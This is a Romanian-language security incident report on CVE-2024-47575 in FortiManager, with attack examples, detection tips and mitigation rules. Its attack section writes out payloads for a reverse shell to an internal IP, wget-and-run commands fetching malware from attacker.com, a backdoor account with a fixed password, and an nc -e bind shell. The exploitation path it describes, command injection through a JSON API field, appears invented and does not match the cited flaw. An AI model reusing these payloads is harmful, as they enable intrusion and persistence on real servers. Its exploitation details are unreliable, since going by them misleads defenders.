Raport consolidat eveniment cibernetic

CVE-2024-47575

CVE-2024-47575 este o vulnerabilitate critică de tip **Remote Code Execution (RCE)** descoperită în aplicația FortiManager, utilizată pe scară largă pentru administrarea dispozitivelor de securitate în infrastructuri IT. Vulnerabilitatea permite atacatorilor neautentificați să execute cod arbitrar pe server, obținând acces complet asupra infrastructurii administrate. Această exploatare este atribuită grupului de amenințări UNC5820, cunoscut pentru atacuri direcționate și tehnici avansate de infiltrare și evaziune.

Informații suplimentare

TIP	**Remote Code Execution (RCE)**
Cauză	Lipsa validării inputului utilizatorului în *endpoint-urile API*
Vectorul de Atac	Vulnerabilitatea este exploatată prin endpoint-uri API nesecurizate în aplicația FortiManager, permițând atacatorului să manipuleze parametrii de input și să injecteze comenzi care se execută cu privilegii extinse. Această exploatare poate fi inițiată de la distanță, făcând-o deosebit de periculoasă pentru infrastructurile expuse online.
Versiuni Afectate	**FortiManager** • Versiunea 7.0 (7.0.0 până la 7.0.12) • Versiunea 7.2 (7.2.0 până la 7.2.7) • Versiunea 7.4 (7.4.0 până la 7.4.4) • Versiunea 7.6.0 **FortiManager Cloud** • Toate versiunile din 6.4 și 7.0 (până la 7.0.12), precum și versiuni din 7.2 și 7.4.

Instrumente de Atac	1. Exploatarea API-ului Vulnerabil pentru a injecta comenzi malițioase și a obține controlul asupra serverului. Cod exemplu: ***"POST /api/v2/cmdb/system/admin/ HTTP/1.1*** ***Host: target-fortimanager.com*** ***Content-Type: application/json*** ***Content-Length: 112*** ***{ "data": {*** ***"command": "; /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 #" } }"*** 2. Utilizarea instrumentului ***curl*** pentru manipularea cererilor ***API*** și pentru a evita detectarea. Cod exemplu: ***"curl -X POST https://target-fortimanager.com/api/v2/cmdb/system/admin/ \ -H "Content-Type: application/json" \ -d '{"data": {"command": "; /usr/bin/wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh"}}'"*** 3. Injectarea de Payload pentru execuția de scripturi malițioase direct pe server. Cod exemplu: ***"echo "wget http://attacker.com/payload.sh -O /tmp/payload.sh && chmod +x /tmp/payload.sh && /tmp/payload.sh" | nc target-fortimanager.com 80"***
Instrumente de infiltrare și codurile folosite	1. Crearea utilizatorilor Backdoor pe server pentru a permite accesul ulterior fără a trezi suspiciuni. Cod exemplu: ***"curl -X POST https://target-fortimanager.com/api/v2/cmdb/system/admin/ \ -H "Content-Type: application/json" \ -d '{"data": {"command": "useradd -m backdooruser && echo 'backdooruser:password123' | chpasswd"}}'"*** 2. Deschiderea de porturi alternative. Cod exemplu: ***"curl -X POST https://target-fortimanager.com/api/v2/cmdb/system/admin/ \ -H "Content-Type: application/json" \ -d '{"data": {"command": "nc -lvp 8080 -e /bin/sh"}}'"*** 3. Persistență prin Malware atacatorii descarcă și instalează malware specific care permite controlul continuu asupra sercerului. Cod exemplu: ***"curl -X POST https://target-fortimanager.com/api/v2/cmdb/system/admin/ \ -H "Content-Type: application/json" \ -d '{"data": {"command": "wget http://attacker.com/malware.sh -O /tmp/malware.sh && chmod +x /tmp/malware.sh && /tmp/malware.sh"}}'"***
Instrumente de analiză pentru detectarea atacului	Detectarea exploatării CVE-2024-47575 necesită monitorizarea atentă a traficului de rețea și a activităților serverului cu ajutorul la: • ***IDS*** care identifică traficul neobișnuit către endpoint-urile API ForiManager.

	• Monitorizarea API-urilor cu ***Web Aplication Firewall (WAF)*** prin detectarea și blocarea cererile API care conțin input periculos. • Analiza log-urilor serverului ***FortiManager*** pentru a identifica cereri repetate neobișnuite și comenzi malițioase injectate, cu ajutorul al: ***"grep "command" /var/log/fortimanager/api.log | grep -E ";|&&""*** • Monitorizarea comportamentului utilizatorilor detectarea și alertarea pe baza activităților noi ale utilizatorilor neautorizați adăugați sau modificări în configurațiile sistemului.
Reguli generice	1. **Patch-uri și Actualizări de Securitate:** Aplicați imediat patch-urile și actualizările pentru a închide vulnerabilitatea CVE-2024-47575. 2. **Limitarea Accesului la API-uri:** Configurați FortiManager pentru a permite accesul API doar din rețelele de încredere și restricționați accesul din internetul public. 3. **Restricționarea Comenzilor Shell:** Implementați reguli care interzic execuția comenzilor shell prin API, acolo unde este posibil. 4. **Monitorizarea și Auditul Permanent al Log-urilor:** Asigurați o monitorizare continuă a log-urilor de acces API pentru a detecta activități suspicioase, mai ales cele care implică execuții de comenzi neobișnuite. 5. **Implementarea unui Sistem de Autentificare în 2 Pași (2FA):** Activați autentificarea multi-factor pentru accesul la FortiManager pentru a limita accesul neautorizat.

Resurse externe

https://www.fortiguard.com/psirt/FG-IR-24-423

https://securityonline.info/new-threat-group-unc5820-targets-fortimanager-zero-day-cve-2024-47575-in-global-cyberattack/